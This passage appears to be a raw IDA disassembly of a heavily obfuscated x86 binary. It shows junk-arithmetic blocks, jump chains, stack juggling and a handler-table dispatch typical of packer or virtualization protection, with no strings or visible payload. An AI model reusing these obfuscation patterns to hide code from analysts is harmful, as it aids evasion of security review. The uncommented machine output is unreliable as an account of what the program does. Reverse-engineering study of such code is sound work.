		jmp	loc_58DE20
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_596128:				; CODE XREF: sub_5985AE-7A68j
		push	ecx
		push	esi
		mov	esi, 79EE1565h
		mov	ecx, esi
		mov	esi, [esp-8+arg_4]
		add	esp, 4
		sub	edx, ecx
		pop	ecx
		add	edx, 12273A74h
		add	edx, ebx
		sub	edx, 12273A74h
		add	edx, 79EE1565h
		jmp	loc_591CD4
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_596153:				; CODE XREF: sub_5BB696-2616Bj
		jmp	loc_58BF25
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------


loc_596158:				; CODE XREF: sdfs____:00590605j
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_58D073
; ---------------------------------------------------------------------------


loc_59616C:				; CODE XREF: sdfs____:00592668j
		inc	esi
		sub	esi, 710C0BFDh
		or	esi, 65815E71h
		xor	esi, 6603191Eh
		add	esi, 31967F97h
		jmp	loc_58C88E
; ---------------------------------------------------------------------------


loc_59618A:				; CODE XREF: sdfs____:00594419j
					; sdfs____:0059749Aj
		mov	dl, 1
		jmp	loc_597B77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FE99


loc_596191:				; CODE XREF: sub_58FE99+5592j
		dec	esi
		jmp	loc_58F004
; END OF FUNCTION CHUNK	FOR sub_58FE99
; ---------------------------------------------------------------------------


loc_596197:				; CODE XREF: sdfs____:00590FCEj
		push	edi
		jmp	loc_58C81F
; ---------------------------------------------------------------------------


loc_59619D:				; CODE XREF: sdfs____:00595769j
		add	edx, ebp
		pop	ebp
		jmp	loc_5905B7
; ---------------------------------------------------------------------------


loc_5961A5:				; CODE XREF: sdfs____:00596D55j
		xor	edx, 46A062A5h
		jmp	loc_592400
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_5961B0:				; CODE XREF: sub_594228-1F14j
		sub	esi, 0E8850BF0h
		mov	ecx, esi
		pop	esi
		jmp	loc_595C37
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5961BE:				; CODE XREF: sub_591435-2B8Aj
		push	6D2F48A7h
		pop	ecx
		add	ebp, ecx
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp+8+var_8]
		jmp	sub_5934D7
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_5961D6:				; CODE XREF: sub_59841F-62Ej
		push	[esp+4+var_4]
		mov	eax, [esp+8+var_8]
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		push	2D14h
		mov	[esp+0Ch+var_C], esi
		push	edx
		push	eax
		mov	eax, 37FF10DEh
		mov	edx, eax
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		mov	esi, 43EF16FEh
		add	esi, edx
		pop	edx
		sub	esi, 7BEE27D8h
		add	ebp, esi
		jmp	loc_58CF8C
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_596214:				; CODE XREF: sub_594228-474Dj
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_591754
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_59621F:				; CODE XREF: sub_5917C0+5957j
		push	[esp-4+arg_0]
		pop	eax
		jmp	loc_58EB79
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59377D


loc_596228:				; CODE XREF: sub_59377D-3C9j
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		or	edx, eax
		shl	edx, 1
		push	ebp
		jmp	loc_58E4E2
; END OF FUNCTION CHUNK	FOR sub_59377D
; ---------------------------------------------------------------------------


loc_596241:				; CODE XREF: sdfs____:00592F93j
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	6E2C0044h
		jmp	loc_596D9B
; ---------------------------------------------------------------------------


loc_596257:				; CODE XREF: sdfs____:00598013j
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		add	ecx, 99DAB647h
		add	ebx, ecx
		jmp	loc_5908D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_59626B:				; CODE XREF: sub_5941BD+1EC1j
		add	ebp, 4
		jmp	loc_594B49
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------


loc_596276:				; CODE XREF: sdfs____:00598561j
		mov	cl, bh
		jmp	loc_595F9C
; ---------------------------------------------------------------------------


loc_59627D:				; CODE XREF: sdfs____:0059400Cj
					; sdfs____:00594914j
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp]
		pop	esp
		add	bl, 4Dh
		sub	bl, 7Bh
		add	bl, al
		jmp	loc_5910B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_596299:				; CODE XREF: sub_594228-5B15j
					; sdfs____:0058F6DFj
		shl	edi, 2
		jmp	loc_5909DA
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		jmp	loc_59584B
; ---------------------------------------------------------------------------


loc_5962B1:				; CODE XREF: sdfs____:00595669j
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		jmp	loc_593452
; ---------------------------------------------------------------------------


loc_5962C4:				; CODE XREF: sdfs____:00590296j
		shr	ebp, 8
		add	ebp, 72DD7345h
		and	ebp, 38814911h
		xor	ebp, 96A687E4h
		add	esi, ebp
		pop	ebp
		jmp	loc_597FBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BAD7


loc_5962E1:				; CODE XREF: sub_58BAD7+CBB3j
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_58CF81
; END OF FUNCTION CHUNK	FOR sub_58BAD7

; =============== S U B	R O U T	I N E =======================================



sub_5962EB	proc near		; CODE XREF: sub_59587A+2E80j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 0058C173 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058C629 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058CB0E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058CC4B SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058CCC2 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0058D99A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058DD9C SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058DEEE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E0E3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058E347 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058E579 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058E5BF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058EA96 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058F145 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058F628 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058F6AD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058F960 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058FB35 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059032A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00590906 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00590A52 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00590E88 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00590EEA SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00590FD3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00591032 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00591207 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005914E6 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059167C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059184C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005918A7 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00591C16 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00591E1F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00591ECC SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00591FD9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591FF1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059226D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059241F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00592511 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059252F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00592646 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00592864 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00592BCD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005930FF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005936FF SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059388A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00594179 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005941C8 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 005945D6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005946E4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005949D9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00594A5D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00595214 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059548C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00595609 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0059566E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00595C79 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00595CCA SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00595E10 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00596692 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005967C4 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00596894 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596A59 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00596B7C SIZE 00000057 BYTES
; FUNCTION CHUNK AT 00597C12 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005983AD SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059853F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00598626 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00598B88 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00598D5F SIZE 0000000B BYTES

		push	ebx
		sub	[esp+8+var_8], 67D437C0h
		pop	edx
		add	edx, 67D437C0h
		pop	ebx
		shr	edx, 8
		sub	edx, 0A435837h
		add	edx, 71EA69B7h
		jmp	loc_5936FF
sub_5962EB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_59630F:				; CODE XREF: sdfs____:00597A13j
		mov	eax, [esp]
		jmp	loc_58C831
; ---------------------------------------------------------------------------


loc_596317:				; CODE XREF: sdfs____:005951DBj
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5929A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_596320:				; CODE XREF: sub_591370+316Fj
					; sdfs____:00596A24j
		pop	edi
		push	ebp
		push	[esp-18h+arg_18]
		pop	ebp
		jmp	loc_593B66
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_59632C:				; CODE XREF: sdfs____:005987E1j
		mov	edi, 6A0A6B50h
		jmp	loc_58D892
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_596336:				; CODE XREF: sub_594228-3184j
		add	eax, 0E34CB30Bh
		jmp	loc_5933EE
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5976E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_596346:				; CODE XREF: sub_59841F-8E0Ej
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp+0]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		jmp	loc_58C014
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5920A6


loc_596362:				; CODE XREF: sub_5920A6+1j
		mov	ebx, 370600A1h
		shl	ebx, 4
		sub	ebx, 715F7A72h
		jmp	loc_58F52D
; END OF FUNCTION CHUNK	FOR sub_5920A6
; ---------------------------------------------------------------------------


loc_596375:				; CODE XREF: sdfs____:0058C6D6j
		mov	[esp], esi
		mov	esi, 426A1FBAh
		mov	edi, esi
		pop	esi
		jmp	loc_59243A
; ---------------------------------------------------------------------------


loc_596385:				; CODE XREF: sdfs____:0058CD16j
		or	bh, 40h
		jmp	loc_58F017
; ---------------------------------------------------------------------------


loc_59638D:				; CODE XREF: sdfs____:loc_59679Cj
		shr	ecx, 4
		inc	ecx
		jns	loc_58D07C
		jmp	loc_59805C
; ---------------------------------------------------------------------------
		sub	ebx, edi
		mov	edi, [esp]


loc_5963A1:				; CODE XREF: sdfs____:00595C63j
		pop	dword ptr [esp]
		jmp	loc_58DBC5
; ---------------------------------------------------------------------------


loc_5963A9:				; CODE XREF: sdfs____:0058E49Ej
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58FC0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_5963B6:				; CODE XREF: sub_591370-4CE9j
					; sdfs____:00596727j
		pop	eax
		push	16C9h
		mov	[esp-8+arg_4], edx
		mov	dh, 0FBh
		not	dh
		sub	dh, 0A4h
		and	dh, 0E0h
		sub	dh, 25h
		xor	ch, dh
		pop	edx
		inc	ch
		neg	ch
		jmp	loc_591B96
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5963D8:				; CODE XREF: sub_591435+25B7j
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		add	esp, 4
		push	1FCCh
		mov	[esp+8+var_8], ebp
		mov	ebp, 150A0783h
		neg	ebp
		jp	loc_593C79
		jmp	loc_58D15D
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
		pop	esi
		sub	ebp, 76CB6215h
		add	ebp, esi
		pop	ebx
; START	OF FUNCTION CHUNK FOR sub_591370


loc_596405:				; CODE XREF: sub_591370+7624j
		xchg	ecx, [esp-8+arg_4]
		not	ecx
		xchg	ecx, [esp-8+arg_4]
		push	[esp-8+arg_4]
		mov	eax, [esp-4+arg_0]
		push	edx
		mov	edx, esp
		jmp	loc_58D842
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_59641B:				; CODE XREF: sub_5941BD-638j
		jl	loc_59599D
		jmp	loc_58F87F
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590CC3


loc_596426:				; CODE XREF: sub_590CC3-2BFBj
		add	esp, 4
		add	ecx, 44A534F7h
		add	ecx, edi
		sub	ecx, 44A534F7h
		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, 0
		add	edx, ecx
		add	eax, [edx]
		pop	edx
		jmp	loc_58E42A
; END OF FUNCTION CHUNK	FOR sub_590CC3
; ---------------------------------------------------------------------------


loc_59644F:				; CODE XREF: sdfs____:00590711j
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 742F6722h
		jmp	loc_58FD0A
; ---------------------------------------------------------------------------


loc_596463:				; CODE XREF: sdfs____:0059491Cj
		not	eax
		sub	eax, 1
		dec	eax
		shl	eax, 5
		or	eax, 4BAE250Fh
		sub	eax, 0E8675157h
		jmp	loc_596FC4
; ---------------------------------------------------------------------------


loc_59647B:				; CODE XREF: sdfs____:00590B5Dj
		mov	ebp, 2D980401h
		sub	esi, ebp
		jmp	loc_5952C1
; ---------------------------------------------------------------------------


loc_596487:				; CODE XREF: sdfs____:0058C45Bj
		not	edi
		or	edi, 33771041h
		shr	edi, 7
		not	edi
		add	edi, 59B45669h
		add	ecx, edi
		jmp	loc_58C4AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_5964A1:				; CODE XREF: sub_5917C0+4029j
		add	esp, 4
		movzx	ax, byte ptr [eax]
		jmp	loc_590AD9
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_5964B0:				; CODE XREF: sdfs____:00595888j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	small 2DCBh
		mov	[esp], bx
		jmp	loc_590A75
; ---------------------------------------------------------------------------


loc_5964C4:				; CODE XREF: sdfs____:00593996j
		pop	ebp
		neg	ecx
		sub	ecx, 6194CE2Eh
		add	esi, ecx
		jmp	loc_58F7B6
; ---------------------------------------------------------------------------


loc_5964D4:				; CODE XREF: sdfs____:0059774Ej
		push	eax
		mov	eax, 7D91211Ch
		push	ebp
		mov	ebp, 5EB436D5h
		sub	ebp, 0DF3409AFh
		jmp	loc_597BBB
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		push	eax
		mov	eax, esp
		jmp	loc_593374
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590CC3


loc_596503:				; CODE XREF: sub_590CC3+2Cj
		sub	edx, ebx
		mov	ebx, [esp+4+var_4]
		jmp	loc_5952F6
; END OF FUNCTION CHUNK	FOR sub_590CC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_59650D:				; CODE XREF: sub_59587A+F0Ej
		and	ebp, 68F577C6h
		push	edx
		mov	edx, 1FD05030h
		xor	edx, 7D5A7E35h
		inc	edx
		jmp	loc_5927BF
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------


loc_596525:				; CODE XREF: sdfs____:005951F1j
		push	esi
		mov	esi, 40B13C1Ch
		dec	esi
		neg	esi
		jmp	loc_5949A4
; ---------------------------------------------------------------------------


loc_596533:				; CODE XREF: sdfs____:0058DB4Cj
		pop	ecx
		sub	esp, 4
		jmp	loc_58D2DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_59653C:				; CODE XREF: sub_5917C0+1B2Cj
		sub	ebx, 86D3E631h
		mov	edx, ebx
		pop	ebx
		sub	ecx, edx
		pop	edx
		jmp	loc_58EF85
; ---------------------------------------------------------------------------


loc_59654D:				; CODE XREF: sub_5917C0+39B6j
		pop	ecx
		push	esi
		mov	esi, 0E4383Ah
		jmp	loc_58C367
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
		mov	sp, [esp]
		jmp	loc_58F6F0
; ---------------------------------------------------------------------------


loc_596562:				; CODE XREF: sdfs____:00593E81j
		add	esi, 6A58606Fh
		jmp	loc_592ADC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_59656D:				; CODE XREF: sub_591370+6F4Fj
		mov	edx, [esp+0]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+4+var_4]
		pop	esp
		sub	edx, 2A7E5A5h
		jmp	loc_597141
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_59658C:				; CODE XREF: sdfs____:005950E2j
		push	ebp
		inc	dword ptr [esp]
		pop	ebp
		shr	ebp, 2
		js	loc_597623
		jmp	loc_5956F5
; ---------------------------------------------------------------------------


loc_59659F:				; CODE XREF: sdfs____:00592C59j
		push	734Ah
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_597DB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_5965B4:				; CODE XREF: sub_59587A-30E6j
		shr	ebp, 3
		jnz	loc_598AB5
		sub	ebp, 0B7C44CC9h
		mov	esi, ebp
		mov	eax, eax


loc_5965C7:				; CODE XREF: sdfs____:00592CB8j
					; sdfs____:00594B32j
		sub	ebp, 97514C7h
		jmp	loc_59831B
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_5965D2:				; CODE XREF: sub_594228+10Dj
		add	edx, edi
		pop	edi
		sub	edx, 4
		xchg	edx, [esp-0Ah+arg_6]
		jmp	loc_597885
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_5965E3:				; CODE XREF: sub_5941BD-69E0j
		xor	edx, 9911E4C5h
		add	esi, edx
		jmp	loc_58DC24
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------


loc_5965F0:				; CODE XREF: sdfs____:00594DBDj
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_5965FA:				; CODE XREF: sub_5BB696-269CFj
		mov	ebx, 4
		sub	eax, 41B33A5Fh
		sub	eax, 7DE0A98h
		add	eax, ebx
		add	eax, 7DE0A98h
		add	eax, 41B33A5Fh
		mov	ebx, [esp+20h+var_20]
		add	esp, 4
		xor	eax, [esp+1Ch+var_1C]
		xor	[esp+1Ch+var_1C], eax
		xor	eax, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	edx
		push	ecx
		jmp	loc_58C3EC
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_596637:				; CODE XREF: sub_5917C0:loc_58CA5Fj
		jmp	loc_596D3C
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_59663C:				; CODE XREF: sdfs____:005987D2j
		mov	ecx, [esp]
		jmp	loc_594A06
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59377D


loc_596644:				; CODE XREF: sub_59377D+3808j
		pop	ebp
		pop	ecx
		and	eax, ebp
		push	[esp+4+var_4]
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		mov	ebp, esp
		push	edi
		mov	edi, 39637B0Dh
		jmp	loc_5933AA
; END OF FUNCTION CHUNK	FOR sub_59377D
; ---------------------------------------------------------------------------


loc_596667:				; CODE XREF: sdfs____:005978BDj
		pop	eax
		push	esi
		jmp	loc_58D0E3

; =============== S U B	R O U T	I N E =======================================



sub_59666E	proc near		; CODE XREF: sub_594228-7C6j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058BC09 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D3D7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058F728 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005947EC SIZE 0000001C BYTES

		push	ebp
		push	esp
		push	[esp+8+var_8]
		jmp	loc_58F728
sub_59666E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_596678:				; CODE XREF: sub_594228-5CF4j
		mov	ecx, [esp+1Ah+var_1C+2]
		add	esp, 4
		jmp	sub_596F8A
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EB23


loc_596683:				; CODE XREF: sub_58EB23+802Fj
		mov	esi, esp
		push	edx
		mov	edx, 4
		add	esi, edx
		jmp	loc_58C095
; END OF FUNCTION CHUNK	FOR sub_58EB23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_596692:				; CODE XREF: sub_5962EB-588Fj
		mov	eax, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_58D99A
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_58C460
; ---------------------------------------------------------------------------


loc_5966AB:				; CODE XREF: sdfs____:00594458j
		or	ebx, 1A3069E9h
		jnz	loc_597670
		dec	ebx
		jnz	loc_593452
		jbe	loc_593C16
		mov	dh, 91h


loc_5966C6:				; CODE XREF: sdfs____:00593852j
		mov	[esp], edi
		push	ebx
		push	edx
		mov	edx, 5A221C68h
		shl	edx, 3
		push	edi
		mov	edi, 0EB47667h
		add	edi, 10BF2F91h
		add	edi, 342D0F57h
		jmp	loc_58EC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_5966EA:				; CODE XREF: sub_5941BD+42E8j
		mov	edx, esp
		jmp	loc_58D69E
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5966F1:				; CODE XREF: sub_591435-3CA4j
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		push	ebx
		jmp	loc_591023
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_5966FB:				; CODE XREF: sdfs____:00591B38j
		pop	edx
		jmp	loc_596CE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_596701:				; CODE XREF: sub_5917C0-3BABj
		push	dword ptr [esp+4]
		jmp	loc_590AD1
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_59670A:				; CODE XREF: sdfs____:005923A3j
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 448E5858h
		or	edx, 73A1B90h
		jp	loc_592350
		jmp	loc_5963B6
; ---------------------------------------------------------------------------
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ebp, edx
		push	esp

; =============== S U B	R O U T	I N E =======================================



sub_596736	proc near		; CODE XREF: sub_5934D7+420Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058E151 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058EA11 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058EA68 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059075B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00591011 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00591BAD SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059227C SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00593FB0 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005942B9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059447C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00595014 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005973B8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00597E03 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00597EE2 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0059880E SIZE 00000013 BYTES

		push	ebx
		sub	esp, 4
		jmp	loc_591BAD
sub_596736	endp

; ---------------------------------------------------------------------------


loc_596742:				; CODE XREF: sdfs____:00597433j
		pop	ebp
		push	esi
		mov	esi, 16BE2C33h
		xor	esi, 6FC659A9h
		not	esi
		sub	esi, 86878A61h
		jmp	loc_58E3F1
; ---------------------------------------------------------------------------


loc_59675C:				; CODE XREF: sdfs____:00593870j
		shr	ebx, 5
		xor	ebx, 26530D16h
		push	789Dh
		mov	[esp], eax
		push	73966A44h
		mov	eax, [esp]
		jmp	loc_591E26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_59677A:				; CODE XREF: sub_59587A-416Cj
		add	edx, eax
		push	ebp
		mov	ebp, 523121E0h
		xchg	edx, ebp
		not	edx
		xchg	edx, ebp
		jmp	loc_59650D
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_59678D:				; CODE XREF: sub_591435-3C91j
					; sdfs____:00592C0Bj
		pop	edi
		add	ebx, 1BC2BB25h
		add	ecx, ebx
		pop	ebx
		jmp	sub_58FE3C
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_59679C:				; CODE XREF: sdfs____:00591B78j
		jg	loc_59638D
		shr	ecx, 4
		inc	ecx
		jns	loc_5928DB
		jmp	loc_598DB6
; ---------------------------------------------------------------------------
		mov	[esp], ebp
